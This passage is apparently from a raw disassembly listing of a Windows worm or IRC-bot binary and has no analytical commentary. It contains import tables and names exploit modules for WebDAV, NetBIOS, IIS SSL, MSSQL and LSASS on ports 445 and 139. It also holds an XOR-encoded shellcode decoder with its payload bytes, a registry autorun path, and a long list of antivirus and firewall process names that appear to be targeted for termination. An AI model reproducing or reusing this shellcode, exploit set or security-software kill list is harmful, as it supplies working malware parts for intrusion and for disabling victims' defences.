XREF: .data:0042E194o align 10h aApril db 'April',0 ; DATA XREF: .data:0042E18Co align 4 aMarch db 'March',0 ; DATA XREF: .data:0042E188o align 10h aFebruary db 'February',0 ; DATA XREF: .data:0042E184o align 4 aJanuary db 'January',0 ; DATA XREF: .data:0042E180o aDec db 'Dec',0 ; DATA XREF: .data:0042E17Co aNov db 'Nov',0 ; DATA XREF: .data:0042E178o aOct db 'Oct',0 ; DATA XREF: .data:0042E174o aSep db 'Sep',0 ; DATA XREF: .data:0042E170o aAug db 'Aug',0 ; DATA XREF: .data:0042E16Co aJul db 'Jul',0 ; DATA XREF: .data:0042E168o aJun db 'Jun',0 ; DATA XREF: .data:0042E164o aMay db 'May',0 ; DATA XREF: .data:0042E160o ; .data:0042E190o aApr db 'Apr',0 ; DATA XREF: .data:0042E15Co aMar db 'Mar',0 ; DATA XREF: .data:0042E158o aFeb db 'Feb',0 ; DATA XREF: .data:0042E154o aJan db 'Jan',0 ; DATA XREF: .data:0042E150o aSaturday db 'Saturday',0 ; DATA XREF: .data:0042E14Co align 10h aFriday db 'Friday',0 ; DATA XREF: .data:0042E148o align 4 aThursday db 'Thursday',0 ; DATA XREF: .data:0042E144o align 4 aWednesday db 'Wednesday',0 ; DATA XREF: .data:0042E140o align 10h aTuesday db 'Tuesday',0 ; DATA XREF: .data:0042E13Co aMonday db 'Monday',0 ; DATA XREF: .data:0042E138o align 10h aSunday db 'Sunday',0 ; DATA XREF: .data:0042E134o align 4 aSat db 'Sat',0 ; DATA XREF: .data:0042E130o aFri db 'Fri',0 ; DATA XREF: .data:0042E12Co aThu db 'Thu',0 ; DATA XREF: .data:0042E128o aWed db 'Wed',0 ; DATA XREF: .data:0042E124o aTue db 'Tue',0 ; DATA XREF: .data:0042E120o aMon db 'Mon',0 ; DATA XREF: .data:0042E11Co aSun db 'Sun',0 ; DATA XREF: .data:off_42E118o align 8 stru_429A48 _msEH <0FFFFFFFFh, 0, offset sub_41CE0B> ; DATA XREF: sub_41CD6E+2o align 8 stru_429A58 _msEH <0FFFFFFFFh, 0, offset sub_41CEBC> ; DATA XREF: sub_417E14+5018o aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_41CFB8+2Do align 10h stru_429A90 _msEH <0FFFFFFFFh, offset loc_41D015, offset loc_41D023> ; DATA XREF: sub_41CFB8+2o align 10h stru_429AA0 _msEH <0FFFFFFFFh, 0, offset sub_41D6B9> ; DATA XREF: sub_41D674+2o align 10h stru_429AB0 _msEH <0FFFFFFFFh, offset loc_41DEA5, offset loc_41DEA9> ; DATA XREF: sub_41DDD0+2o dword_429ABC dd 676F7250h, 3A6D6172h, 20h ; DATA XREF: sub_41DFF5+10Do aABufferOverrun db 'A buffer overrun has been detected which has corrupted the progra' ; DATA XREF: sub_41DFF5+62o db 'm',27h,'s',0Ah db 'internal state. The program cannot safely continue execution and' db ' must',0Ah db 'now be terminated.',0Ah,0 aBufferOverrunD db 'Buffer overrun detected!',0 ; DATA XREF: sub_41DFF5:loc_41E052o align 8 aASecurityError db 'A security error of unknown cause has been detected which has',0Ah ; DATA XREF: sub_41DFF5+4Fo db 'corrupted the program',27h,'s internal state. The program cannot sa' db 'fely',0Ah db 'continue execution and must now be terminated.',0Ah,0 align 4 aUnknownSecurit db 'Unknown security failure detected!',0 ; DATA XREF: sub_41DFF5+4Ao align 10h stru_429C60 _msEH <0FFFFFFFFh, offset loc_41E030, offset loc_41E034> ; DATA XREF: sub_41DFF5+5o align 10h stru_429C70 _msEH <0FFFFFFFFh, 0, offset sub_41E277> ; DATA XREF: sub_41E20D+2o aGetprocesswind db 'GetProcessWindowStation',0 ; DATA XREF: sub_41E283+73o aGetuserobjecti db 'GetUserObjectInformationA',0 ; DATA XREF: sub_41E283+62o align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_41E283+47o align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_41E283+3Fo aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_41E283+2Eo aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 10h a1Qnan db '1#QNAN',0 ; DATA XREF: sub_41EBD1:loc_41ECC0o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_41EBD1+D2o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_41EBD1+C1o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_41EBD1+A7o align 10h stru_429D40 _msEH <0FFFFFFFFh, 0, offset sub_41EFC6> ; DATA XREF: sub_41EE93+2o align 10h stru_429D50 _msEH <0FFFFFFFFh, offset loc_41F600, offset loc_41F604> ; DATA XREF: sub_41F4EA+2o dd 0FFFFFFFFh, 41F68Dh, 41F691h stru_429D68 _msEH <0FFFFFFFFh, offset loc_41F891, offset loc_41F895> ; DATA XREF: sub_41F79A+2o dd 0FFFFFFFFh, 41F903h, 41F907h, 0 dword_429D84 dd 2 dup(0) ; DATA XREF: sub_41B0F0+Co ; sub_41B0F0:loc_41B103o dword_429D8C dd 0 ; DATA XREF: sub_41B134+Co ; sub_41B134:loc_41B147o dd 0FFFFFFFFh, 41F9BFh dword_429D98 dd 19930520h, 1, 429D90h, 4 dup(0) ; DATA XREF: .text:loc_41F9CDo dd 29DF0h, 2 dup(0) dd 2A5A0h, 20000h, 29FCCh, 2 dup(0) dd 2A5AEh, 201DCh, 5 dup(0) dd 77E61BE6h, 77E7751Ah, 77F5157Dh, 77E7AC37h, 77E7A099h dd 77E73C49h, 77F7E300h, 77F7E21Fh, 77E7C706h, 77F53275h dd 77E70F89h, 77E802FCh, 77E6D75Bh, 77E75CB5h, 77E61BB8h dd 77E77963h, 77E79D8Ch, 77E7A837h, 77E704FCh, 77E78EAAh dd 77E75E67h, 77E75D9Eh, 77F51597h, 77F516F8h, 77E77CB7h dd 77E79424h, 77E794BFh, 77E7F01Ah, 77E61A54h, 77E7C3A5h dd 77E706B7h, 77E80618h, 77E78147h, 77E7A5FDh, 77E805D8h dd 77E78B82h, 77E78C81h, 77E793EFh, 77E64106h, 77E64006h dd 77E74CABh, 77E79F93h, 77E76A60h, 77E71B14h, 77E7166Fh dd 77E75090h, 77E74D76h, 77E77797h, 77E7011Ah, 77E73CE2h dd 77E668D9h, 77E70396h, 77E6AD34h, 77E77CCEh, 77E79924h dd 77E65F4Ch, 77E79C90h, 77E73628h, 77E616B4h, 77E76A2Eh dd 77E75CEBh, 77E71AFEh, 77E80656h, 77E6BD13h, 77E79D5Bh dd 77E7C2C4h, 77E7FF65h, 77EB7624h, 77E79CE3h, 77E7727Ah dd 77E76968h, 77E7513Ch, 77E7C657h, 77E6C29Dh, 77EC7C51h dd 77E74C59h, 77E76C1Ah, 77E70192h, 77F522F2h, 77E7176Ch dd 77E7339Ch, 77E7C9E7h, 77E79908h, 77E73FF9h, 77E7FF2Eh dd 77E7C866h, 77F5722Fh, 77E6167Bh, 77F6183Eh, 77E6177Ah dd 77E7C938h, 77E72B29h, 77F51587h, 77E77CC4h, 77E79B39h dd 77E78B61h, 77E7C5B4h, 77E76E0Bh, 77E7C726h, 77E79E34h dd 77E7980Ah, 77E73196h, 77E6169Ah, 77E7F044h, 77E77405h dd 77E781F9h, 77E7A13Fh, 77E6C703h, 77E7849Fh, 77E79C3Dh dd 77EB9A84h, 77E9C5B1h, 77E67702h, 77E7C9E1h, 77E77EE1h dd 77E7C931h, 77E78406h, 77E641EBh, 0 db 8Dh, 3Fh dw 71ABh dd 71AB155Ah, 71AB3ECEh, 71AB5DE2h, 71AB1890h, 71AB1B7Bh dd 71AB868Dh, 71AB5690h, 71AB1AF4h, 71AB41DAh, 71AB3C22h dd 71AB12F8h, 71AB1746h, 71AB3E5Dh, 71AB1A6Dh, 71AB1836h dd 0 db 29h ; ) db 3, 53h, 6Ch db 65h ; e db 65h, 70h, 0 db 0BEh ; ¾ db 1, 47h, 65h aTtickcount db 'tTickCount',0 align 4 db 5Ah ; Z db 1, 47h, 65h aTlasterror db 'tLastError',0 align 4 aE_0 db 'e',0 aCreatethread db 'CreateThread',0 align 4 db 65h ; e db 1, 47h, 65h aTmodulefilenam db 'tModuleFileNameA',0 align 2 aM_1 db '¬',0 aExitthread db 'ExitThread',0 align 4 db 2Dh ; - db 2, 4Ch, 65h aAvecriticalsec db 'aveCriticalSection',0 align 4 db '‹',0 aEntercriticals db 'EnterCriticalSection',0 align 4 db 3 db 2, 49h, 6Eh aItializecritic db 'itializeCriticalSectionAndSpinCount',0 aV db 'v',0 aDeletecritical db 'DeleteCriticalSection',0 db 5Ch ; \ db 1, 47h, 65h aTlocaltime db 'tLocalTime',0 align 4 db 7Eh ; ~ db 2, 51h, 75h aEryperformance db 'eryPerformanceCounter',0 dw 27Fh aQueryperform_1 db 'QueryPerformanceFrequency',0 db '«',0 aExitprocess db 'ExitProcess',0 db '\',0 aCreateprocessa db 'CreateProcessA',0 align 2 db ',',0 aClosehandle db 'CloseHandle',0 dd 72570376h, 46657469h, 656C69h, 7243004Ah, 65746165h dd 656C6946h, 1A60041h aGetsystemdirec db 'GetSystemDirectoryA',0 db 'Á',0 aFindclose db 'FindClose',0 db 'Î',0 aFindnextfilea db 'FindNextFileA',0 db 'Å',0 aFindfirstfilea db 'FindFirstFileA',0 align 2 dw 1F5h aHeapfree db 'HeapFree',0 align 2 dw 1EFh aHeapalloc db 'HeapAlloc',0 dw 18Bh aGetprocessheap db 'GetProcessHeap',0 align 4 db '¸',0 aFiletimetosyst db 'FileTimeToSystemTime',0 align 10h db '·',0 aFiletimetoloca db 'FileTimeToLocalFileTime',0 dw 35Eh aVirtualqueryex db 'VirtualQueryEx',0 align 4 db 93h ; “ db 2, 52h, 65h aAdprocessmemor db 'adProcessMemory',0 db 0A8h ; ¨ db 1, 47h, 65h aTsysteminfo db 'tSystemInfo',0 db 61h ; a db 2, 4Fh, 70h aEnprocess db 'enProcess',0 db 'å',0 aFreelibrary db 'FreeLibrary',0 db 43h ; C db 1, 47h, 65h aTenvironmentva db 'tEnvironmentVariableW',0 dw 189h aGetprocaddress db 'GetProcAddress',0 align 4 db 2Eh ; . db 2, 4Ch, 6Fh aAdlibrarya db 'adLibraryA',0 align 4 db 90h db 2, 52h, 65h aAdfile db 'adFile',0 align 4 db 0F1h ; ñ db 2, 53h, 65h aTfilepointer db 'tFilePointer',0 align 2 dw 14Dh aGetfilesize db 'GetFileSize',0 db 0BFh ; ¿ db 1, 47h, 65h aTtimeformata db 'tTimeFormatA',0 align 2 dw 133h aGetdateformata db 'GetDateFormatA',0 align 4 db 48h ; H db 1, 47h, 65h aTfileattribute db 'tFileAttributesA',0 align 2 dw 167h aGetmodulehandl db 'GetModuleHandleA',0 align 2 aR_0 db 'à',0 aFormatmessagea db 'FormatMessageA',0 align 4 db 0E9h ; é db 1, 47h, 6Ch aObalunlock db 'obalUnlock',0 align 4 db 0E2h ; â db 1, 47h, 6Ch aOballock db 'obalLock',0 align 2 dw 345h aUnmapviewoffil db 'UnmapViewOfFile',0 db 44h ; D db 2, 4Dh, 61h aPviewoffile db 'pViewOfFile',0 aK_0 db 'K',0 aCreatefilemapp db 'CreateFileMappingA',0 align 2 dw 2F5h aSetfiletime db 'SetFileTime',0 dd 6547014Fh, 6C694674h, 6D695465h, 0AE0065h aExpandenvironm db 'ExpandEnvironmentStringsA',0 dw 2EFh aSetfileattribu db 'SetFileAttributesA',0 align 4 db 0B6h ; ¶ db 1, 47h, 65h aTtemppatha db 'tTempPathA',0 align 4 db 51h ; Q db 2, 4Dh, 75h aLtibytetowidec db 'ltiByteToWideChar',0 dw 369h aWidechartomult db 'WideCharToMultiByte',0 db 1 db 1, 47h, 65h aTcomputernamea db 'tComputerNameA',0 align 4 db 2Fh ; / db 1, 47h, 65h aTcurrentproces db 'tCurrentProcess',0 db 'x',0 aDeletefilea db 'DeleteFileA',0 dw 331h aTerminateproce db 'TerminateProcess',0 align 2 dw 395h aLstrcmpia db 'lstrcmpiA',0 dw 332h aTerminatethrea db 'TerminateThread',0 db 4Ah ; J db 2, 4Dh, 6Fh aVefilea db 'veFileA',0 db 30h ; 0 db 1, 47h, 65h aTcurrentproc_0 db 'tCurrentProcessId',0 db ':',0 aCopyfilea db 'CopyFileA',0 dw 365h aWaitforsingleo db 'WaitForSingleObject',0 aW db 'W',0 aCreatemutexa db 'CreateMutexA',0 align 10h db 44h ; D db 1, 47h, 65h aTexitcodeproce db 'tExitCodeProcess',0 align 2 dw 26Ch aPeeknamedpipe db 'PeekNamedPipe',0 aI_1 db 'ˆ',0 aDuplicatehandl db 'DuplicateHandle',0 db '[',0 aCreatepipe db 'CreatePipe',0 align 2 dw 2C8h aSetconsolectrl db 'SetConsoleCtrlHandler',0 dw 15Dh aGetlocaleinfoa db 'GetLocaleInfoA',0 align 10h db 0C8h ; È db 1, 47h, 65h aTversionexa db 'tVersionExA',0 db 61h ; a db 1, 47h, 65h aTlogicaldrives db 'tLogicalDrives',0 align 4 db 'ê',0 aGenerateconsol db 'GenerateConsoleCtrlEvent',0 align 10h db 63h ; c db 3, 57h, 61h aItformultipleo db 'itForMultipleObjects',0 align 2 dw 1E3h aGlobalmemoryst db 'GlobalMemoryStatus',0 align 10h aKernel32_dll_0 db 'KERNEL32.dll',0 align 2 aWs2_32_dll_0 db 'WS2_32.dll',0 align 2 dw 1F9h aHeaprealloc db 'HeapReAlloc',0 db 0ACh ; ¬ db 1, 47h, 65h aTsystemtimeasf db 'tSystemTimeAsFileTime',0 dw 2B1h aRtlunwind db 'RtlUnwind',0 dw 19Ch aGetstartupinfo db 'GetStartupInfoA',0 db 0FDh ; ý align 2 aGetcommandline db 'GetCommandLineA',0 dw 337h aTlsfree db 'TlsFree',0 db 0FEh ; þ db 2, 53h, 65h aTlasterror_0 db 'tLastError',0 align 4 db 32h ; 2 db 1, 47h, 65h aTcurrentthread db 'tCurrentThreadId',0 align 2 dw 339h aTlssetvalue db 'TlsSetValue',0 db 38h ; 8 db 3, 54h, 6Ch aSgetvalue db 'sGetValue',0 dw 336h aTlsalloc db 'TlsAlloc',0 align 2 dw 1F3h aHeapdestroy db 'HeapDestroy',0 db 0F1h ; ñ db 1, 48h, 65h aApcreate db 'apCreate',0 align 2 dw 358h aVirtualfree db 'VirtualFree',0 db 55h ; U db 3, 56h, 69h aRtualalloc db 'rtualAlloc',0 align 4 db 14h db 2, 49h, 73h aBadwriteptr db 'BadWritePtr',0 db 5Bh ; [ db 3, 56h, 69h aRtualprotect db 'rtualProtect',0 align 2 dw 35Dh aVirtualquery db 'VirtualQuery',0 align 2 dw 220h aLcmapstringa db 'LCMapStringA',0 align 2 dw 221h aLcmapstringw db 'LCMapStringW',0 align 2 aI_2 db 'ë',0 aGetacp db 'GetACP',0 align 10h db 7Ch ; | db 1, 47h, 65h aToemcp db 'tOEMCP',0 align 4 db 0F1h ; ñ align 2 aGetcpinfo db 'GetCPInfo',0 db 9Eh ; ž db 1, 47h, 65h aTstdhandle db 'tStdHandle',0 align 4 db 42h ; B db 3, 55h, 6Eh aHandledexcepti db 'handledExceptionFilter',0 align 4 aU_0 db 'ã',0 aFreeenvironmen db 'FreeEnvironmentStringsA',0 dw 13Fh aGetenvironment db 'GetEnvironmentStrings',0 aF db 'ä',0 aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 db 41h ; A db 1, 47h, 65h aTenvironmentst db 'tEnvironmentStringsW',0 align 2 dw 2FAh aSethandlecount db 'SetHandleCount',0 align 4 dd 65470150h, 6C694674h, 70795465h, 19F0065h, 53746547h dd 6E697274h, 70795467h, 4165h, 654701A2h, 72745374h, 54676E69h dd 57657079h, 30C0000h, 53746553h, 61486474h, 656C646Eh dd 0DB0000h, 73756C46h, 6C694668h, 66754265h, 73726566h dd 2020000h aInitializecr_0 db 'InitializeCriticalSection',0 dw 31Dh aSetunhandledex db 'SetUnhandledExceptionFilter',0 dd 73490211h, 52646142h, 50646165h, 7274h, 7349020Eh, 43646142h dd 5065646Fh, 7274h, 654801FBh, 69537061h, 657Ah, 655302E8h dd 646E4574h, 6946664Fh, 656Ch _rdata ends ; Section 3. (virtual address 0002B000) ; Virtual size : 000529D8 ( 338392.) ; Section size in file : 000529D8 ( 338392.) ; Offset to raw data for section: 0002B000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _data segment para public 'CODE' use32 assume cs:_data ;org 42B000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dword_42B000 dd 0 ; DATA XREF: sub_415D8B+40o dd offset sub_41DF9F dword_42B008 dd 0 ; DATA XREF: sub_415D8B+47o dword_42B00C dd 0 ; DATA XREF: sub_415D8B+Do dd offset sub_417D6B dd offset sub_41AF4D dd offset sub_41B07E dd offset sub_41E185 dword_42B020 dd 0 ; DATA XREF: sub_415D8B+12o dword_42B024 dd 0 ; DATA XREF: sub_415DF0:loc_415E5Fo dd offset sub_417E14 dword_42B02C dd 0 ; DATA XREF: sub_415DF0+74o dword_42B030 dd 0 ; CODE XREF: sub_415D49+23p ; DATA XREF: sub_415DF0:loc_415E7Eo dd offset sub_41E198 dword_42B038 dd 2 dup(0) ; DATA XREF: sub_415DF0+93o aWebdav db 'webdav',0 ; DATA XREF: sub_401967+155o align 4 db 2 dup(0) aWebdav_0 db 'WebDav',0 ; DATA XREF: sub_4125E5+2B2o ; .text:00412D7Do ... align 4 dd 5 dup(0) dword_42B068 dd 50h ; DATA XREF: sub_401000+1Er ; sub_4089DC+3DF7r ... off_42B06C dd offset sub_4125E5 ; DATA XREF: sub_401967+1F8r dword_42B070 dd 0 ; DATA XREF: sub_401000+2Eo ; sub_4125E5+30Er ... dword_42B074 dd 1 ; DATA XREF: sub_401141+1Er dword_42B078 dd 0 ; DATA XREF: sub_401141:loc_4013DFr aNetbios db 'netbios',0 dd 654E0000h, 6F694274h, 73h, 5 dup(0) dd 8Bh, 414109h, 3 dup(0) aNtpass db 'ntpass',0 align 10h dd 544E0000h, 73736150h, 6 dup(0) dd 1BDh, 414109h, 3 dup(0) aIis5ssl db 'iis5ssl',0 dd 49490000h, 53533553h, 4Ch, 5 dup(0) dd 1BBh, 412AF9h, 0 dd 1, 0 aMssql db 'mssql',0 align 4 dd 534D0000h, 4C5153h, 6 dup(0) dd 599h, 413B75h, 0 dd 1, 0 aLsass_445 db 'lsass_445',0 aLsass_445_0 db 'lsass_445',0 dd 5 dup(0) dd 1BDh, 41332Eh, 0 dd 2 dup(1), 7361736Ch, 33315F73h, 736C0039h, 5F737361h dd 393331h, 5 dup(0) dd 8Bh, 4134FCh, 0 dd 2 dup(1), 0Fh dup(0) aLsass_445_1 db 'lsass_445',0 byte_42B22A db 1 ; DATA XREF: sub_4089DC:loc_40C74Br ; sub_4089DC+3D7Bo aLsass_139 db 'lsass_139',0 db 1, 2 dup(0) dd 4 dup(0) ; --------------------------------------------------------------------------- loc_42B248: ; DATA XREF: .text:00412C0Do jmp short loc_42B25A ; =============== S U B R O U T I N E ======================================= sub_42B24A proc near ; CODE XREF: sub_42B24A:loc_42B25Ap pop edx dec edx xor ecx, ecx mov cx, 166h loc_42B252: ; CODE XREF: sub_42B24A+Cj xor byte ptr [edx+ecx], 99h loop loc_42B252 jmp short loc_42B25F ; --------------------------------------------------------------------------- loc_42B25A: ; CODE XREF: .data:loc_42B248j call sub_42B24A loc_42B25F: ; CODE XREF: sub_42B24A+Ej jo short near ptr dword_42B1DC+1Eh cwde cdq cdq retn sub_42B24A endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h dword_42B3C8 dd 80000002h ; DATA XREF: sub_40213F+24r off_42B3CC dd offset aSoftwareMicr_0 ; DATA XREF: sub_40213F+1Er ; "Software\\Microsoft\\Windows\\CurrentVersi"... dd 80000002h, 42C010h, 80000001h, 42C048h dword_42B3E0 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40398A+9Co dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_42B42C dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_40398A+DAo ; --------------------------------------------------------------------------- loc_42B448: ; DATA XREF: sub_40398A+10Fo mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_42B45C dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_40398A+138o off_42B470 dd offset aAdd ; DATA XREF: sub_40776C+59r ; sub_4077E4+4Ar ... ; "Add" off_42B474 dd offset aAdded ; DATA XREF: sub_40776C+2Dr ; sub_4077E4+7Cr ... ; "Added" dword_42B478 dd 0 ; DATA XREF: sub_40776C+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 422590h, 422588h, 2, 42257Ch, 422570h, 3, 0 dword_42B4C8 dd 7530h ; DATA XREF: sub_4085DF+14r align 10h off_42B4D0 dd offset aAckwin32_exe ; DATA XREF: sub_4081CA:loc_408291r ; "ACKWIN32.EXE" dd offset aAdaware_exe ; "ADAWARE.EXE" dd offset aAdvxdwin_exe ; "ADVXDWIN.EXE" dd offset aAgentsvr_exe ; "AGENTSVR.EXE" dd offset aAgentw_exe ; "AGENTW.EXE" dd offset aAlertsvc_exe ; "ALERTSVC.EXE" dd offset aAlevir_exe ; "ALEVIR.EXE" dd offset aAlogserv_exe ; "ALOGSERV.EXE" dd offset aAmon9x_exe ; "AMON9X.EXE" dd offset aAntiTrojan_exe ; "ANTI-TROJAN.EXE" dd offset aAntivirus_exe ; "ANTIVIRUS.EXE" dd offset aAnts_exe ; "ANTS.EXE" dd offset aApimonitor_exe ; "APIMONITOR.EXE" dd offset aAplica32_exe ; "APLICA32.EXE" dd offset aApvxdwin_exe ; "APVXDWIN.EXE" dd offset aArr_exe ; "ARR.EXE" dd offset aAtcon_exe ; "ATCON.EXE" dd offset aAtguard_exe ; "ATGUARD.EXE" dd offset aAtro55en_exe ; "ATRO55EN.EXE" dd offset aAtupdater_exe ; "ATUPDATER.EXE" dd offset aAtupdater_exe ; "ATUPDATER.EXE" dd offset aAtwatch_exe ; "ATWATCH.EXE" dd offset aAu_exe ; "AU.EXE" dd offset aAupdate_exe ; "AUPDATE.EXE" dd offset aAutodown_exe ; "AUTODOWN.EXE" dd offset aAutotrace_exe ; "AUTOTRACE.EXE" dd offset aAutoupdate_exe ; "AUTOUPDATE.EXE" dd offset aAvconsol_exe ; "AVCONSOL.EXE" dd offset aAve32_exe ; "AVE32.EXE" dd offset aAvgcc32_exe ; "AVGCC32.EXE" dd offset aAvgctrl_exe ; "AVGCTRL.EXE" dd offset aAvgnt_exe ; "AVGNT.EXE" dd offset aAvgserv_exe ; "AVGSERV.EXE" dd offset aAvgserv9_exe ; "AVGSERV9.EXE" dd offset aAvguard_exe ; "AVGUARD.EXE" dd offset aAvgw_exe ; "AVGW.EXE" dd offset aAvkpop_exe ; "AVKPOP.EXE" dd offset aAvkserv_exe ; "AVKSERV.EXE" dd offset aAvkservice_exe ; "AVKSERVICE.EXE" dd offset aAvkwctl9_exe ; "AVKWCTl9.EXE" dd offset aAvltmain_exe ; "AVLTMAIN.EXE" dd offset aAvnt_exe ; "AVNT.EXE" dd offset aAvp_exe ; "AVP.EXE" dd offset aAvp32_exe ; "AVP32.EXE" dd offset aAvpcc_exe ; "AVPCC.EXE" dd offset aAvpdos32_exe ; "AVPDOS32.EXE" dd offset aAvpm_exe ; "AVPM.EXE" dd offset aAvptc32_exe ; "AVPTC32.EXE" dd offset aAvpupd_exe ; "AVPUPD.EXE" dd offset aAvpupd_exe ; "AVPUPD.EXE" dd offset aAvsched32_exe ; "AVSCHED32.EXE" dd offset aAvsynmgr_exe ; "AVSYNMGR.EXE" dd offset aAvwin95_exe ; "AVWIN95.EXE" dd offset aAvwinnt_exe ; "AVWINNT.EXE" dd offset aAvwupd_exe ; "AVWUPD.EXE" dd offset aAvwupd32_exe ; "AVWUPD32.EXE" dd offset aAvwupd32_exe ; "AVWUPD32.EXE" dd offset aAvwupsrv_exe ; "AVWUPSRV.EXE" dd offset aAvxmonitor9x_e ; "AVXMONITOR9X.EXE" dd offset aAvxmonitornt_e ; "AVXMONITORNT.EXE" dd offset aAvxquar_exe ; "AVXQUAR.EXE" dd offset aAvxquar_exe ; "AVXQUAR.EXE" dd offset aBackweb_exe ; "BACKWEB.EXE" dd offset aBargains_exe ; "BARGAINS.EXE" dd offset aBd_professiona ; "BD_PROFESSIONAL.EXE" dd offset aBeagle_exe ; "BEAGLE.EXE" dd offset aBelt_exe ; "BELT.EXE" dd offset aBidef_exe ; "BIDEF.EXE" dd offset aBidserver_exe ; "BIDSERVER.EXE" dd offset aBipcp_exe ; "BIPCP.EXE" dd offset aBipcpevalsetup ; "BIPCPEVALSETUP.EXE" dd offset aBisp_exe ; "BISP.EXE" dd offset aBlackd_exe ; "BLACKD.EXE" dd offset aBlackice_exe ; "BLACKICE.EXE" dd offset aBlss_exe ; "BLSS.EXE" dd offset aBootconf_exe ; "BOOTCONF.EXE" dd offset aBootwarn_exe ; "BOOTWARN.EXE" dd offset aBorg2_exe ; "BORG2.EXE" dd offset aBpc_exe ; "BPC.EXE" dd offset aBrasil_exe ; "BRASIL.EXE" dd offset aBs120_exe ; "BS120.EXE" dd offset aBundle_exe ; "BUNDLE.EXE" dd offset aBvt_exe ; "BVT.EXE" dd offset aCcapp_exe ; "CCAPP.EXE" dd offset aCcevtmgr_exe ; "CCEVTMGR.EXE" dd offset aCcpxysvc_exe ; "CCPXYSVC.EXE" dd offset aCdp_exe ; "CDP.EXE" dd offset aCfd_exe ; "CFD.EXE" dd offset aCfgwiz_exe ; "CFGWIZ.EXE" dd offset aCfiadmin_exe ; "CFIADMIN.EXE" dd offset aCfiaudit_exe ; "CFIAUDIT.EXE" dd offset aCfiaudit_exe ; "CFIAUDIT.EXE" dd offset aCfinet_exe ; "CFINET.EXE" dd offset aCfinet32_exe ; "CFINET32.EXE" dd offset aClaw95cf_exe ; "CLAW95CF.EXE" dd offset aClean_exe ; "CLEAN.EXE" dd offset aCleaner_exe ; "CLEANER.EXE" dd offset aCleaner3_exe ; "CLEANER3.EXE" dd offset aCleanpc_exe ; "CLEANPC.EXE" dd offset aClick_exe ; "CLICK.EXE" dd offset aCmd32_exe ; "CMD32.EXE" dd offset aCmesys_exe ; "CMESYS.EXE" dd offset aCmgrdian_exe ; "CMGRDIAN.EXE" dd offset aCmon016_exe ; "CMON016.EXE" dd offset aConnectionmoni ; "CONNECTIONMONITOR.EXE" dd offset aCpd_exe ; "CPD.EXE" dd offset aCpf9x206_exe ; "CPF9X206.EXE" dd offset aCpfnt206_exe ; "CPFNT206.EXE" dd offset aCtrl_exe ; "CTRL.EXE" dd offset aCv_exe ; "CV.EXE" dd offset aCwnb181_exe ; "CWNB181.EXE" dd offset aCwntdwmo_exe ; "CWNTDWMO.EXE" dd offset aClaw95_exe ; "Claw95.EXE" dd offset aClaw95cf_exe ; "CLAW95CF.EXE" dd offset aDatemanager_ex ; "DATEMANAGER.EXE" dd offset aDcomx_exe ; "DCOMX.EXE" dd offset aDefalert_exe ; "DEFALERT.EXE" dd offset aDefscangui_exe ; "DEFSCANGUI.EXE" dd offset aDefwatch_exe ; "DEFWATCH.EXE" dd offset aDeputy_exe ; "DEPUTY.EXE" dd offset aDivx_exe ; "DIVX.EXE" dd offset aDllcache_exe ; "DLLCACHE.EXE" dd offset aDllreg_exe ; "DLLREG.EXE" dd offset aDoors_exe ; "DOORS.EXE" dd offset aDpf_exe ; 